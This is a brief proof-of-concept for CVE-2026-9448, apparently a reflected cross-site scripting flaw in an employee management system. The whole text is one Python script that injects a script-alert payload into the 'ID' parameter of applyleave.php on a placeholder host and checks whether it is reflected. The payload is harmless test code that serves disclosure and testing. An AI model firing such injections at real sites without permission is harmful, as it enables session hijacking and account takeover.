CVE-2026-9448 员工管理系统XSS漏洞

import requests # Target URL of the vulnerable application target_url = "http://target-host/applyleave.php" # Malicious payload to test XSS vulnerability # Using a simple script alert to verify execution xss_payload = "<script>alert('CVE-2026-9448_XSS_Test');</script>" # Injecting the payload into the 'ID' parameter params = { "ID": xss_payload } try: # Sending the GET request response = requests.get(target_url, params=params, timeout=5) # Checking if the payload is reflected in the response (basic check) if xss_payload in response.text: print("[+] Potential XSS vulnerability detected!") print(f"[+] Payload: {xss_payload}") else: print("[-] Payload not reflected in response. May be filtered or not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")